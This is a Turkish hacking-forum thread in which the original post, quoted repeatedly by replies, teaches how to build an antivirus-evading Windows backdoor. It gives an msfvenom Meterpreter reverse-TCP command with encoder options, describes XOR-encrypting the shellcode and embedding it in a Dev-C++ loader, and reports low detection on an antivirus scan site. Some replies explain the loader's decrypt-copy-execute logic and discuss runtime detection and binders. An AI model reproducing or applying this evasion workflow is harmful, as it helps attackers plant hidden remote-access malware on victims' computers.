%90 Fud Payload Msfvenom

X7R00T · 29 Ağu 2022

Evet Arkadaşlar bugün sizlere msfvenom dan oluşturduğumuz virüsü %90 oranla fudlayacağız hadi geçelim

ilk olarak buradaki lhost ve lport bilgilerini doldurmanız gerekli doldurduğunuzu var sayarak ratımızı oluşturualım.

msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 -t 15 LHOST=(IP) LPORT=(PORT) -f raw -o raw.txt

sonra python dilinde yazılmış olan encrypter toolumuza görselde gösterilen şekilde yazıp enter a basıyoruz. Sonra bize shellcode.txt diye bir txt verecek kali de şuan ki işlerimiz bitti windows makinemize geçelim

backdorumuzu c++ dilinde bir uygulamaya gizleyeceğiz arkadaşlar bunu düzenlemek ve derlemek için Dev-C++ programını kullanacağız aşağıda hepsinin linki olacaktır.

burdan yeni proje diyoruz.

buradan windows uygulamasına tıklıyoruz c++ projesi olduğundan emin olun sonra isim verin ve tamam deyin.

buradan masaüstüne gelin yeni bi klasör açın ve içine kayıt edin.

farklı kayıt ettikten sonra böyle bir yer karşılayacak sizi buranın hepsini siliyoruz.

evet arkadaşlar yapıştırdık göründüğü gibi 536 satırda bir kırmızı ok var o satırda char b[] = sonrasını siliyoruz.

yani burada gösterildiği gibi yapıyoruz sonra kalimizden bi txt almıştık gelin bakalım içine.

evet göründüğü gibi karışık ve şifrelenmiş bir metin var buraya ctrl+a yapıp ctrl+c yapıp kopyalıyoruz.

sonra bu şekilde yapıştırdık tan sonra f9 a basıyoruz. bastıktan sonra bir pencere açılacak ona kaydet deyin ve bekleyin.

evet exe miz derlendi gelin bunu antiscan.me taratalım.

sonuçlar iyi diyebiliriz arkadaşlar 26 tanesinden 4 tanesine yakalanıyor sadece sizde bu yöntemi kullanarak fudlayabilirsiniz backdoorlarınızı aşağıda kullandığım bütün herşeyin linki olacak ordan indirebilirsiniz iyi forumlar.

İndirme Linki

Virüs Total

Dev C++

Hayzadxx · 29 Ağu 2022

Eline sağlık

'CaptainKanka · 29 Ağu 2022

Bunu antiviruslu bir makinede calistirdiginizda yakalanacaktir. Bu runtime scantime farkliligindan dolayidir.

X7R00T · 29 Ağu 2022

'CaptainKanka' Alıntı:
Bunu antiviruslu bir makinede calistirdiginizda yakalanacaktir. Bu runtime scantime farkliligindan dolayidir.

bizde binder larız

Hayzadxx' Alıntı:
Eline sağlık

Teşekkürler

Napcaz · 29 Ağu 2022

Txt nin içinde karışık ve şifrelenmiş bir metin var evet ama eklemek istediğim aydınlatmak istediğim hususlar var yüksek müsadenizle...
Bunlar hex tabanlı sayılar ve birlikte assembly talimatlarını oluşturuyorlar yada oluşturuyorlar dı çünkü kullandığınız encrypter bunları xor işlemi ile şifreliyor yani artık zararlı bir kod olmuyor, anlamsız hale getiriyor. Gösterdiğiniz c kodunda da sırasıyla kodun geri kalanında kullanılmak üzere txt nin uzunluğunu hesaplanıyor ardından anahtar ("x" in ascii değeri) kullanılarak içindeki talimatlar tekrardan anlamlı bir kod (zararlı kod) haline getiriliyor. Sonrasında bu kodun uzunluğu kadar hafıza da bir yer açılıyor ve bu yere kod memcpy fonksiyonu ile kopyalanıyor ve bu hafıza bölümü çalıştırılıyor.

Özetle iyi bir fud örneği değil hatta nerdiyse işlevsiz bu tarz işlemler çoğunlukla eğitim amaçlı uygulanır modern antivirüs yazılımları için çocuk oyuncağı bu küçük ayak oyununu anlamak. Virüs ü tespit edenlerin hepsi baba antivirüs yazılımları ve çoğunluk olarak kullanılanlar, mesela şu windows defender bütün windows bilgisayarlarda var zaten, büyük ihtimal onlar runtime aşamasını incelediler programın ve hemen tespit ettiler diğerleri ise internet üzerinden runtime kontrolü yapmadıkları için tespit edemediler diye yorumladım.

'CaptainKanka · 29 Ağu 2022

X7R00T' Alıntı:
bizde binder larız

Teşekkürler

Belliki bu islerde yenisin. Antiviruse ozel crypter yazman lazim. Böyle karistirma yontemi binder vs antiden kacirmak icin cozum değil. Ayrica antiler cloud sistemi kullandiklari icin artik antiyi gecsende bor kac saat icinde clouddan yine patliyorsun.

zeores · 29 Ağu 2022

X7R00T' Alıntı:
Evet Arkadaşlar bugün sizlere msfvenom dan oluşturduğumuz virüsü %90 oranla fudlayacağız hadi geçelim

ilk olarak buradaki lhost ve lport bilgilerini doldurmanız gerekli doldurduğunuzu var sayarak ratımızı oluşturualım.

msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 -t 15 LHOST=(IP) LPORT=(PORT) -f raw -o raw.txt

sonra python dilinde yazılmış olan encrypter toolumuza görselde gösterilen şekilde yazıp enter a basıyoruz. Sonra bize shellcode.txt diye bir txt verecek kali de şuan ki işlerimiz bitti windows makinemize geçelim

backdorumuzu c++ dilinde bir uygulamaya gizleyeceğiz arkadaşlar bunu düzenlemek ve derlemek için Dev-C++ programını kullanacağız aşağıda hepsinin linki olacaktır.

burdan yeni proje diyoruz.

buradan windows uygulamasına tıklıyoruz c++ projesi olduğundan emin olun sonra isim verin ve tamam deyin.

buradan masaüstüne gelin yeni bi klasör açın ve içine kayıt edin.

farklı kayıt ettikten sonra böyle bir yer karşılayacak sizi buranın hepsini siliyoruz.

evet arkadaşlar yapıştırdık göründüğü gibi 536 satırda bir kırmızı ok var o satırda char b[] = sonrasını siliyoruz.

yani burada gösterildiği gibi yapıyoruz sonra kalimizden bi txt almıştık gelin bakalım içine.

evet göründüğü gibi karışık ve şifrelenmiş bir metin var buraya ctrl+a yapıp ctrl+c yapıp kopyalıyoruz.

sonra bu şekilde yapıştırdık tan sonra f9 a basıyoruz. bastıktan sonra bir pencere açılacak ona kaydet deyin ve bekleyin.

evet exe miz derlendi gelin bunu antiscan.me taratalım.

sonuçlar iyi diyebiliriz arkadaşlar 26 tanesinden 4 tanesine yakalanıyor sadece sizde bu yöntemi kullanarak fudlayabilirsiniz backdoorlarınızı aşağıda kullandığım bütün herşeyin linki olacak ordan indirebilirsiniz iyi forumlar.

İndirme Linki

Virüs Total

Dev C++

Eline sağlık

X7R00T · 29 Ağu 2022

Napcaz' Alıntı:
Txt nin içinde karışık ve şifrelenmiş bir metin var evet ama eklemek istediğim aydınlatmak istediğim hususlar var yüksek müsadenizle...
Bunlar hex tabanlı sayılar ve birlikte assembly talimatlarını oluşturuyorlar yada oluşturuyorlar dı çünkü kullandığınız encrypter bunları xor işlemi ile şifreliyor yani artık zararlı bir kod olmuyor, anlamsız hale getiriyor. Gösterdiğiniz c kodunda da sırasıyla kodun geri kalanında kullanılmak üzere txt nin uzunluğunu hesaplanıyor ardından anahtar ("x" in ascii değeri) kullanılarak içindeki talimatlar tekrardan anlamlı bir kod (zararlı kod) haline getiriliyor. Sonrasında bu kodun uzunluğu kadar hafıza da bir yer açılıyor ve bu yere kod memcpy fonksiyonu ile kopyalanıyor ve bu hafıza bölümü çalıştırılıyor.

Özetle iyi bir fud örneği değil hatta nerdiyse işlevsiz bu tarz işlemler çoğunlukla eğitim amaçlı uygulanır modern antivirüs yazılımları için çocuk oyuncağı bu küçük ayak oyununu anlamak. Virüs ü tespit edenlerin hepsi baba antivirüs yazılımları ve çoğunluk olarak kullanılanlar, mesela şu windows defender bütün windows bilgisayarlarda var zaten, büyük ihtimal onlar runtime aşamasını incelediler programın ve hemen tespit ettiler diğerleri ise internet üzerinden runtime kontrolü yapmadıkları için tespit edemediler diye yorumladım.

merhaba dostum ben genel olarak kullanabilcekleri bir yöntem paylaştım eğer herşeyi anlatırsam ben ekmek yiyemem anladınmı burada her methodu anlatırsam o methodların ömürleri uzun süreli olmaz lar o yüzden çok üst düzeyde yöntemleri burada paylaşmıyorum. yoksa istediğin antivirüsü getir farketmez

WeXia292292 · 2 Eyl 2022

@X7R00T merhaba

tursilmatik · 2 Eyl 2022

bak buna gulerım ıste yontemı denedım kaspersky yada trend mıcro olursa sıstemde algılıyor

ayrıca memcpy fonksiyonu ile bu is olmaz.

C library function - memcpy()

C library function - memcpy(), The C library function void *memcpy(void *dest, const void *src, size_t n) copies n characters from memory area src to memory area dest.

www.tutorialspoint.com

ScriptKid · 2 Eyl 2022

X7R00T' Alıntı:
Evet Arkadaşlar bugün sizlere msfvenom dan oluşturduğumuz virüsü %90 oranla fudlayacağız hadi geçelim

ilk olarak buradaki lhost ve lport bilgilerini doldurmanız gerekli doldurduğunuzu var sayarak ratımızı oluşturualım.

msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 -t 15 LHOST=(IP) LPORT=(PORT) -f raw -o raw.txt

sonra python dilinde yazılmış olan encrypter toolumuza görselde gösterilen şekilde yazıp enter a basıyoruz. Sonra bize shellcode.txt diye bir txt verecek kali de şuan ki işlerimiz bitti windows makinemize geçelim

backdorumuzu c++ dilinde bir uygulamaya gizleyeceğiz arkadaşlar bunu düzenlemek ve derlemek için Dev-C++ programını kullanacağız aşağıda hepsinin linki olacaktır.

burdan yeni proje diyoruz.

buradan windows uygulamasına tıklıyoruz c++ projesi olduğundan emin olun sonra isim verin ve tamam deyin.

buradan masaüstüne gelin yeni bi klasör açın ve içine kayıt edin.

farklı kayıt ettikten sonra böyle bir yer karşılayacak sizi buranın hepsini siliyoruz.

evet arkadaşlar yapıştırdık göründüğü gibi 536 satırda bir kırmızı ok var o satırda char b[] = sonrasını siliyoruz.

yani burada gösterildiği gibi yapıyoruz sonra kalimizden bi txt almıştık gelin bakalım içine.

evet göründüğü gibi karışık ve şifrelenmiş bir metin var buraya ctrl+a yapıp ctrl+c yapıp kopyalıyoruz.

sonra bu şekilde yapıştırdık tan sonra f9 a basıyoruz. bastıktan sonra bir pencere açılacak ona kaydet deyin ve bekleyin.

evet exe miz derlendi gelin bunu antiscan.me taratalım.

sonuçlar iyi diyebiliriz arkadaşlar 26 tanesinden 4 tanesine yakalanıyor sadece sizde bu yöntemi kullanarak fudlayabilirsiniz backdoorlarınızı aşağıda kullandığım bütün herşeyin linki olacak ordan indirebilirsiniz iyi forumlar.

İndirme Linki

Virüs Total

Dev C++

Bu yöntem ile windows ta oluşturduğumuz exe uzantılı virüsü de fudlayabilir miyiz?

ScriptKid' Alıntı:
Bu yöntem ile windows ta oluşturduğumuz exe uzantılı virüsü de fudlayabilir miyiz?

Up

JohnWick51 · 3 Eyl 2022

X7R00T' Alıntı:
Evet Arkadaşlar bugün sizlere msfvenom dan oluşturduğumuz virüsü %90 oranla fudlayacağız hadi geçelim

ilk olarak buradaki lhost ve lport bilgilerini doldurmanız gerekli doldurduğunuzu var sayarak ratımızı oluşturualım.

msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 -t 15 LHOST=(IP) LPORT=(PORT) -f raw -o raw.txt

sonra python dilinde yazılmış olan encrypter toolumuza görselde gösterilen şekilde yazıp enter a basıyoruz. Sonra bize shellcode.txt diye bir txt verecek kali de şuan ki işlerimiz bitti windows makinemize geçelim

backdorumuzu c++ dilinde bir uygulamaya gizleyeceğiz arkadaşlar bunu düzenlemek ve derlemek için Dev-C++ programını kullanacağız aşağıda hepsinin linki olacaktır.

burdan yeni proje diyoruz.

buradan windows uygulamasına tıklıyoruz c++ projesi olduğundan emin olun sonra isim verin ve tamam deyin.

buradan masaüstüne gelin yeni bi klasör açın ve içine kayıt edin.

farklı kayıt ettikten sonra böyle bir yer karşılayacak sizi buranın hepsini siliyoruz.

evet arkadaşlar yapıştırdık göründüğü gibi 536 satırda bir kırmızı ok var o satırda char b[] = sonrasını siliyoruz.

yani burada gösterildiği gibi yapıyoruz sonra kalimizden bi txt almıştık gelin bakalım içine.

evet göründüğü gibi karışık ve şifrelenmiş bir metin var buraya ctrl+a yapıp ctrl+c yapıp kopyalıyoruz.

sonra bu şekilde yapıştırdık tan sonra f9 a basıyoruz. bastıktan sonra bir pencere açılacak ona kaydet deyin ve bekleyin.

evet exe miz derlendi gelin bunu antiscan.me taratalım.

sonuçlar iyi diyebiliriz arkadaşlar 26 tanesinden 4 tanesine yakalanıyor sadece sizde bu yöntemi kullanarak fudlayabilirsiniz backdoorlarınızı aşağıda kullandığım bütün herşeyin linki olacak ordan indirebilirsiniz iyi forumlar.

İndirme Linki

Virüs Total

Dev C++

Ellerine saglik

ScriptKid · 3 Eyl 2022

X7R00T' Alıntı:
Evet Arkadaşlar bugün sizlere msfvenom dan oluşturduğumuz virüsü %90 oranla fudlayacağız hadi geçelim

ilk olarak buradaki lhost ve lport bilgilerini doldurmanız gerekli doldurduğunuzu var sayarak ratımızı oluşturualım.

msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 -t 15 LHOST=(IP) LPORT=(PORT) -f raw -o raw.txt

sonra python dilinde yazılmış olan encrypter toolumuza görselde gösterilen şekilde yazıp enter a basıyoruz. Sonra bize shellcode.txt diye bir txt verecek kali de şuan ki işlerimiz bitti windows makinemize geçelim

backdorumuzu c++ dilinde bir uygulamaya gizleyeceğiz arkadaşlar bunu düzenlemek ve derlemek için Dev-C++ programını kullanacağız aşağıda hepsinin linki olacaktır.

burdan yeni proje diyoruz.

buradan windows uygulamasına tıklıyoruz c++ projesi olduğundan emin olun sonra isim verin ve tamam deyin.

buradan masaüstüne gelin yeni bi klasör açın ve içine kayıt edin.

farklı kayıt ettikten sonra böyle bir yer karşılayacak sizi buranın hepsini siliyoruz.

evet arkadaşlar yapıştırdık göründüğü gibi 536 satırda bir kırmızı ok var o satırda char b[] = sonrasını siliyoruz.

yani burada gösterildiği gibi yapıyoruz sonra kalimizden bi txt almıştık gelin bakalım içine.

evet göründüğü gibi karışık ve şifrelenmiş bir metin var buraya ctrl+a yapıp ctrl+c yapıp kopyalıyoruz.

sonra bu şekilde yapıştırdık tan sonra f9 a basıyoruz. bastıktan sonra bir pencere açılacak ona kaydet deyin ve bekleyin.

evet exe miz derlendi gelin bunu antiscan.me taratalım.

sonuçlar iyi diyebiliriz arkadaşlar 26 tanesinden 4 tanesine yakalanıyor sadece sizde bu yöntemi kullanarak fudlayabilirsiniz backdoorlarınızı aşağıda kullandığım bütün herşeyin linki olacak ordan indirebilirsiniz iyi forumlar.

İndirme Linki

Virüs Total

Dev C++

ScriptKid' Alıntı:
Bu yöntem ile windows ta oluşturduğumuz exe uzantılı virüsü de fudlayabilir miyiz?

darksideofwww · 3 Eyl 2022

X7R00T' Alıntı:
Evet Arkadaşlar bugün sizlere msfvenom dan oluşturduğumuz virüsü %90 oranla fudlayacağız hadi geçelim

ilk olarak buradaki lhost ve lport bilgilerini doldurmanız gerekli doldurduğunuzu var sayarak ratımızı oluşturualım.

msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 -t 15 LHOST=(IP) LPORT=(PORT) -f raw -o raw.txt

sonra python dilinde yazılmış olan encrypter toolumuza görselde gösterilen şekilde yazıp enter a basıyoruz. Sonra bize shellcode.txt diye bir txt verecek kali de şuan ki işlerimiz bitti windows makinemize geçelim

backdorumuzu c++ dilinde bir uygulamaya gizleyeceğiz arkadaşlar bunu düzenlemek ve derlemek için Dev-C++ programını kullanacağız aşağıda hepsinin linki olacaktır.

burdan yeni proje diyoruz.

buradan windows uygulamasına tıklıyoruz c++ projesi olduğundan emin olun sonra isim verin ve tamam deyin.

buradan masaüstüne gelin yeni bi klasör açın ve içine kayıt edin.

farklı kayıt ettikten sonra böyle bir yer karşılayacak sizi buranın hepsini siliyoruz.

evet arkadaşlar yapıştırdık göründüğü gibi 536 satırda bir kırmızı ok var o satırda char b[] = sonrasını siliyoruz.

yani burada gösterildiği gibi yapıyoruz sonra kalimizden bi txt almıştık gelin bakalım içine.

evet göründüğü gibi karışık ve şifrelenmiş bir metin var buraya ctrl+a yapıp ctrl+c yapıp kopyalıyoruz.

sonra bu şekilde yapıştırdık tan sonra f9 a basıyoruz. bastıktan sonra bir pencere açılacak ona kaydet deyin ve bekleyin.

evet exe miz derlendi gelin bunu antiscan.me taratalım.

sonuçlar iyi diyebiliriz arkadaşlar 26 tanesinden 4 tanesine yakalanıyor sadece sizde bu yöntemi kullanarak fudlayabilirsiniz backdoorlarınızı aşağıda kullandığım bütün herşeyin linki olacak ordan indirebilirsiniz iyi forumlar.

İndirme Linki

Virüs Total

Dev C++

Bu tür payloadları virus total e koymasanız iyi olur

antivirüslere feedback yolluyor yoksa bir anlamı kalmaz değil mi

ScriptKid · 3 Eyl 2022

ScriptKid' Alıntı:
Bu yöntem ile windows ta oluşturduğumuz exe uzantılı virüsü de fudlayabilir miyiz?

@Coderx37 bu soruma cevap verebilir misin?

Kruvazör · 3 Eyl 2022

ScriptKid' Alıntı:
@Coderx37 bu soruma cevap verebilir misin?

yani, görsele bakarsak konu sahibi kodlara ekleme yapıyor, direkt exe dosyasını fudlamaktan ziyade.

hazır exe dosyalarını fudlamak için farklı yollar var.

(eğer dosyanın kodları sizinse bu şekilde yapabilirsiniz) (arkadaşın kullandığı programı windowsa entegre edip kullanabilirsiniz.)

konuyu düzgün okumaya vakit bulamadım umarım yanlış bilgi vermemişimdir.

%90 Fud Payload Msfvenom

X7R00T

Yeni üye

Hayzadxx

Katılımcı Üye

'CaptainKanka

O Şimdi Asker!

X7R00T

Yeni üye

Napcaz

Anka Team Senior

'CaptainKanka

O Şimdi Asker!

zeores

Üye

X7R00T

Yeni üye

WeXia292292

Üye

tursilmatik

Üye

C library function - memcpy()

ScriptKid

Katılımcı Üye

JohnWick51

Uzman üye

ScriptKid

Katılımcı Üye

darksideofwww

Katılımcı Üye

ScriptKid

Katılımcı Üye

Kruvazör

Yazılım Ekibi Lideri

Sosyal medya sayfalarımız